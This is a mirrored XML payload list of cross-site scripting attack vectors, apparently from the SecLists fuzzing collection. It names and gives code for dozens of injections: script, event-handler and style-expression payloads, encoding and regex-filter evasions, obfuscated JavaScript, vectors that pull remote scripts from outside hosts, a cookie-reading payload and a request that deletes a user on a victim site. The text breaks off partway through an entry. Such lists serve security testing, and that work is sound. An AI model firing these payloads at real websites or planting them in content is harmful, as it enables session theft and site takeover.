mirror of
https://github.com/danielmiessler/SecLists
synced 2026-04-14 02:54:32 +02:00
1287 lines
41 KiB
XML
1287 lines
41 KiB
XML
<?xml version="1.0"?>
|
||
<!-- from: http://h4k.in/encoding/
|
||
date: 22-feb-08
|
||
converted from HTML to XML
|
||
modiefied: 05-dec-11; all ” replaced by \" and all ’ replaced by '
|
||
|
||
-->
|
||
<xss>
|
||
<attack>
|
||
<name>Add onclick event hadler</name>
|
||
<code>onclick=eval/**/(/ale/.source%2b/rt/.source%2b/(7)/.source);</code>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><s>000<s>%3cs%3e111%3c/s%3e%3c%73%3e%32%32%32%3c%2f%73%3e&#60&#115&#62&#51&#51&#51&#60&#47&#115&#62&#x3c&#x73&#x3e&#x34&#x34&#x34&#x3c&#x2f&#x73&#x3e</code>
|
||
<name>Advanced HTML injection locator</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'><SCRIPT>alert(4)</SCRIPT>=&{}");}alert(6);function xss(){//</code>
|
||
<name>Advanced XSS Locator</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'></title><SCRIPT>alert(4)</SCRIPT>=&{</title><script>alert(5)</script>}");}</code>
|
||
<name>Advanced XSS Locator for title-Injections</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>aim: &c:\windows\system32\calc.exe" ini="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\pwnd.bat"</code>
|
||
<name>aim: uri exploit</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)></code>
|
||
<name>Backslash-obfuscated XBL injection - variant 1</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><div/style=&#92&#45&#92&#109&#111&#92&#122&#92&#45&
|
||
#98&#92&#105&#92&#110&#100&#92&#105&#110&#92&#103:&
|
||
#92&#117&#114&#108&#40&#47&#47&#98&#117&#115&#105&
|
||
#110&#101&#115&#115&#92&#105&#92&#110&#102&#111&#46&
|
||
#99&#111&#46&#117&#107&#92&#47&#108&#97&#98&#115
|
||
&#92&#47&#120&#98&#108&#92&#47&#120&#98&#108&#92
|
||
&#46&#120&#109&#108&#92&#35&#120&#115&#115&#41&></code>
|
||
<name>Backslash-obfuscated XBL injection - variant 2</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><div&nbsp;style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)></code>
|
||
<name>Backslash-obfuscated XBL injection - variant 3</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><div&nbsp &nbsp style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)></code>
|
||
<name>Backslash-obfuscated XBL injection - variant 4</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><x/style=-m\0o\0z\0-b\0i\0nd\0i\0n\0g\0:\0u\0r\0l\0(\0/\0/b\0u\0s\0i\0ne\0s\0s\0i\0nf\0o\0.c\0o\0.\0u\0k\0/\0la\0b\0s\0/\0x\0b\0l\0/\0x\0b\0l\0.\0x\0m\0l\0#\0x\0s\0s\0)></code>
|
||
<name>Backslash-obfuscated XBL injection - variant 5</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><BASE HREF="javascript:alert('XSS');//"></code>
|
||
<name>BASE</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>`> <script>alert(5)</script></code>
|
||
<name>Basic back ticked attribute breaker</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>> <script>alert(4)</script></code>
|
||
<name>Basic double quoted attribute breaker</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>xyz onerror=alert(6); </code>
|
||
<name>Basic JS breaker</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>1;a=eval;b=alert;a(b(/c/.source));</code>
|
||
<name>Basic JS breaker variant 1</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>1];a=eval;b=alert;a(b(17));//</code>
|
||
<name>Basic JS breaker variant 2</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>];a=eval;b=alert;a(b(16));//</code>
|
||
<name>Basic JS breaker variant 3</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>'];a=eval;b=alert;a(b(15));//</code>
|
||
<name>Basic JS breaker variant 4</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>1};a=eval;b=alert;a(b(14));//</code>
|
||
<name>Basic JS breaker variant 5</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>'};a=eval;b=alert;a(b(13));//</code>
|
||
<name>Basic JS breaker variant 6</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>};a=eval;b=alert;a(b(12));//</code>
|
||
<name>Basic JS breaker variant 7</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>a=1;a=eval;b=alert;a(b(11));//</code>
|
||
<name>Basic JS breaker variant 8</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>;//%0da=eval;b=alert;a(b(10));//</code>
|
||
<name>Basic JS breaker variant 9</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>';//%0da=eval;b=alert;a(b(9));//</code>
|
||
<name>Basic JS breaker variant 10</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>'> <script>alert(3)</script></code>
|
||
<name>Basic single quoted attribute breaker</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code></title><script>alert(1)</script></code>
|
||
<name>Basic title breaker</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><BGSOUND SRC="javascript:alert('XSS');"></code>
|
||
<name>BGSOUND</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><BODY BACKGROUND="javascript:alert('XSS');"></code>
|
||
<name>BODY background-image</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><BODY ONLOAD=alert('XSS')></code>
|
||
<name>BODY ONLOAD</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><!--
|
||
<A href="
|
||
- --><a href=javascript:alert:document.domain
|
||
>test--></code>
|
||
<name>Camouflaged comment injection with JS link</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG SRC=JaVaScRiPt:alert('XSS')></code>
|
||
<name>Case Insensitive</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><%3C&lt&lt;&LT&LT;&#60&#060&#0060&#00060&#000060&#0000060&#60;&#060;&#0060;&#00060;&#000060;&#0000060;&#x3c&#x03c&#x003c&#x0003c&#x00003c&#x000003c&#x3c;&#x03c;&#x003c;&#x0003c;&#x00003c;&#x000003c;&#X3c&#X03c&#X003c&#X0003c&#X00003c&#X000003c&#X3c;&#X03c;&#X003c;&#X0003c;&#X00003c;&#X000003c;&#x3C&#x03C&#x003C&#x0003C&#x00003C&#x000003C&#x3C;&#x03C;&#x003C;&#x0003C;&#x00003C;&#x000003C;&#X3C&#X03C&#X003C&#X0003C&#X00003C&#X000003C&#X3C;&#X03C;&#X003C;&#X0003C;&#X00003C;&#X000003C;\x3c\x3C\u003c\u003C</code>
|
||
<name>Character Encoding Example</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><script>
|
||
var a = "</script> <script> alert('XSS !'); </script> <script>";
|
||
</script></code>
|
||
<name>Closing JS Tag in JS String assignment</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]--></code>
|
||
<name>Commented-out Block</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>*/a=eval;b=alert;a(b(/e/.source));/*</code>
|
||
<name>Comment-breaker using obfuscated JavaScript</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>width: expression((window.r==document.cookie)?'':alert(r=document.cookie))</code>
|
||
<name>Conditional style injection for IE</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A></code>
|
||
<name>Content Replace</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"></code>
|
||
<name>Cookie Manipulation</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><DIV STYLE="background-image: url(javascript:alert('XSS'))"></code>
|
||
<name>DIV background-image 1</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"></code>
|
||
<name>DIV background-image 2</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><DIV STYLE="width: expression(alert('XSS'));"></code>
|
||
<name>DIV expression</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"></code>
|
||
<name>DIV w/Unicode</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IFRAME SRC=http://ha.ckers.org/scriptlet.html <</code>
|
||
<name>Double open angle brackets</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><A HREF="http://1113982867/">XSS</A></code>
|
||
<name>Dword Encoding</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED></code>
|
||
<name>Embed Flash</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG SRC="jav&#x0D;ascript:alert('XSS');"></code>
|
||
<name>Embedded Carriage Return</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG SRC="jav&#x09;ascript:alert('XSS');"></code>
|
||
<name>Embedded Encoded Tab</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG SRC="jav&#x0A;ascript:alert('XSS');"></code>
|
||
<name>Embedded Newline</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG SRC="javascript:alert('XSS');"></code>
|
||
<name>Embedded Tab</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code></TITLE><SCRIPT>alert("XSS");</SCRIPT></code>
|
||
<name>End title tag</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>\";alert('XSS');//</code>
|
||
<name>Escaping JavaScript escapes</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
|
||
<name>Evade Regex Filter 1</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
|
||
<name>Evade Regex Filter 2</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
|
||
<name>Evade Regex Filter 3</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
|
||
<name>Evade Regex Filter 4</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
|
||
<name>Evade Regex Filter 5</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>eval(name)</code>
|
||
<name>Eval string contained in name property</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><A HREF="http://www.google.com./">XSS</A></code>
|
||
<name>Extra dot for Absolute DNS</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><<SCRIPT>alert("XSS");//<</SCRIPT></code>
|
||
<name>Extraneous Open Brackets</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
|
||
<name>Filter Evasion 1</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
|
||
<name>Filter Evasion 2</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><A HREF="//google">XSS</A></code>
|
||
<name>Firefox Lookups 1</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><A HREF="http://ha.ckers.org@google">XSS</A></code>
|
||
<name>Firefox Lookups 2</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><A HREF="http://google:ha.ckers.org">XSS</A></code>
|
||
<name>Firefox Lookups 3</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>firefoxurl:test|"%20-new-window%20javascript:alert(\'Cross%2520Browser%2520Scripting!\');"</code>
|
||
<name>firefoxurl: uri exploit (UXSS)</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET></code>
|
||
<name>FRAME</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG SRC=`javascript:alert("RSnake says### 'XSS'")`></code>
|
||
<name>Grave Accents</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG SRC="javascript:alert('XSS')"</code>
|
||
<name>Half-Open HTML/JavaScript</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A></code>
|
||
<name>Hex Encoding</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29></code>
|
||
<name>Hex Encoding w/out Semicolons</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG SRC=javascript:alert(&quot;XSS&quot;)></code>
|
||
<name>HTML Entities</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>'';!--"<script>alert(0);</script>=&{(alert(1))}</code>
|
||
<name>HTML Quoute & Comment breaker</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><?xml version="1.0"?>
|
||
<html:html xmlns:html='http://www.w3.org/1999/xhtml'>
|
||
<html:script>
|
||
alert(document.cookie);
|
||
</html:script>
|
||
</html:html></code>
|
||
<name>HTML wrapped in XML</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><img src=`x` onrerror= ` ;; alert(1) ` /></code>
|
||
<name>IE backticked semicolon injection</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code></a style=""xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')"></code>
|
||
<name>IE closing-tag expression injection</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code> style=color: expression(alert(0));" a="</code>
|
||
<name>IE expression injection</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>vbscript:Execute(MsgBox(chr(88)&chr(83)&chr(83)))<</code>
|
||
<name>IE VB Messagebox injection</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IFRAME SRC="javascript:alert('XSS');"></IFRAME></code>
|
||
<name>IFRAME</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>a=<a>
|
||
<b>
|
||
%3c%69%6d%67%2f%73%72%63%3d%31
|
||
%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%31%29%3e
|
||
</b>
|
||
</a>
|
||
document.write(unescape(a..b))</code>
|
||
<name>Image onerror wrapped in XML statement</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG SRC="jav&#x09;ascript:alert(<WBR>'XSS');">
|
||
<IMG SRC="jav&#x0A;ascript:alert(<WBR>'XSS');">
|
||
<IMG SRC="jav&#x0D;ascript:alert(<WBR>'XSS');"></code>
|
||
<name>Image tag with obfuscated JS URI</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG SRC=javascript:alert(String.fromCharCode(88###83###83))></code>
|
||
<name>Image w/CharCode</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG DYNSRC="javascript:alert('XSS');"></code>
|
||
<name>IMG Dynsrc</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"></code>
|
||
<name>IMG Embedded commands 1</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser</code>
|
||
<name>IMG Embedded commands 2</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG LOWSRC="javascript:alert('XSS');"></code>
|
||
<name>IMG Lowsrc</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG SRC=javascript:alert('XSS')></code>
|
||
<name>IMG No Quotes/Semicolon</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>exp/*<XSS STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></code>
|
||
<name>IMG STYLE w/expression</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG SRC="javascript:alert('XSS');"></code>
|
||
<name>IMG w/JavaScript Directive</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG SRC='vbscript:msgbox("XSS")'></code>
|
||
<name>IMG w/VBscript</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"></code>
|
||
<name>INPUT Image</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><A HREF="http://66.102.7.147/">XSS</A></code>
|
||
<name>IP Encoding</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1)'+''; u1=s1+s2+s3;URL=u1</code>
|
||
<name>JavaScript concatenation vector variant 1</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>s1=0?'1':'i'; s2=0?'1':'fr'; s3=0?'1':'ame'; i1=s1+s2+s3; s1=0?'1':'jav'; s2=0?'1':'ascr'; s3=0?'1':'ipt'; s4=0?'1':':'; s5=0?'1':'ale'; s6=0?'1':'rt'; s7=0?'1':'(1)'; i2=s1+s2+s3+s4+s5+s6+s7;</code>
|
||
<name>JavaScript concatenation vector variant 2</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>s1=0?'':'i';s2=0?'':'fr';s3=0?'':'ame';i1=s1+s2+s3;s1=0?'':'jav';s2=0?'':'ascr';s3=0?'':'ipt';s4=0?'':':';s5=0?'':'ale';s6=0?'':'rt';s7=0?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createElement(i1);i.src=i2;x=parentNode;x.appendChild(i);</code>
|
||
<name>JavaScript concatenation vector variant 3</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>s1=['java'+''+''+'scr'+'ipt'+':'+'aler'+'t'+'(1)'];</code>
|
||
<name>JavaScript concatenation vector variant 4</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>s1=['java'||''+'']; s2=['scri'||''+'']; s3=['pt'||''+''];</code>
|
||
<name>JavaScript concatenation vector variant 5</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>s1=!''&&'jav';s2=!''&&'ascript';s3=!''&&':';s4=!''&&'aler';s5=!''&&'t';s6=!''&&'(1)';s7=s1+s2+s3+s4+s5+s6;URL=s7;</code>
|
||
<name>JavaScript concatenation vector variant 6</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>s1='java'||''+'';s2='scri'||''+'';s3='pt'||''+'';</code>
|
||
<name>JavaScript concatenation vector variant 7</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><BR SIZE="&{alert('XSS')}"></code>
|
||
<name>JavaScript Includes</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><A HREF="javascript:document.location='http://www.google.com/'">XSS</A></code>
|
||
<name>JavaScript Link Location</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>%0da=eval;b=alert;a(b(/d/.source));</code>
|
||
<name>JavaScript-breaker using carriage return</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><a href = "javas cript :ale rt(1)">test</code>
|
||
<name>JS link with whitespace obfuscation</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>+alert(0)+</code>
|
||
<name>JS string concatenation breaker</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><body onload=;a2={y:eval};a1={x:a2.y('al'+'ert')};;;;;;;;;_=a1.x;_(1);;;;</code>
|
||
<name>JSON based obfuscated onload vector</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><body onload=a1={x:this.parent.document};a1.x.writeln(1);></code>
|
||
<name>JSON based onload vector</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><body onload=;a1={x:document};;;;;;;;;_=a1.x;_.write(1);;;;</code>
|
||
<name>JSON based semicolon-onload vector</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER></code>
|
||
<name>LAYER</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</code>
|
||
<name>List-style-image</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG SRC="livescript:[code]"></code>
|
||
<name>Livescript</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"></code>
|
||
<name>Local .htc file</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041></code>
|
||
<name>Long UTF-8 Unicode w/out Semicolons</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG """><SCRIPT>alert("XSS")</SCRIPT>"></code>
|
||
<name>Malformed IMG Tags</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>%26%2339);x=alert;x(%26%2340 /finally through!/.source %26%2341);//</code>
|
||
<name>Markup breaker with special quotes</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"></code>
|
||
<name>META</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"></code>
|
||
<name>META w/additional URL parameter</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64###PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"></code>
|
||
<name>META w/data:URL</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><A HREF="http://6&#09;6.000146.0x7.147/">XSS</A></code>
|
||
<name>Mixed Encoding</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMG SRC="mocha:[code]"></code>
|
||
<name>Mocha</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code> style=-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a="</code>
|
||
<name>Mozilla -moz-binding-url injection</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code> sstyle=foobar"tstyle="foobar"ystyle="foobar"lstyle="foobar"estyle="foobar"=-moz-binding:url(http://h4k.in/mozxss.xml#xss)>foobar</b>#xss)" a="</code>
|
||
<name>Mozilla -moz-binding-url injection - filter evading</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>_
|
||
=
|
||
eval
|
||
b=1
|
||
__
|
||
=
|
||
location
|
||
c=1
|
||
_
|
||
(
|
||
__
|
||
.
|
||
hash
|
||
//
|
||
.
|
||
substr
|
||
(1)
|
||
)</code>
|
||
<name>Multiline selfcontained XSS</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code><IMGSRC="javascript:alert('XSS')"></code>
|
||
<name>Multiline w/Carriage Returns</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>b=top,a=/loc/ . source,a+=/ation/ . source,b[a=a] = name</code>
|
||
<name>Name contained XSS variant 1</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>a=/ev///
|
||
.source a+=/al///
|
||
.source a[a] (name)</code>
|
||
<name>Name contained XSS variant 2</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>a=/ev/
|
||
.source a+=/al/
|
||
.source,a = a[a] a(name)</code>
|
||
<name>Name contained XSS variant 3</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
<code>setTimeout//
|
||
(name// ,0)</code>
|
||
<name>Name contained XSS variant 4</name>
|
||
<desc></desc>
|
||
<label></label>
|
||
</attack>
|
||
<attack>
|
||
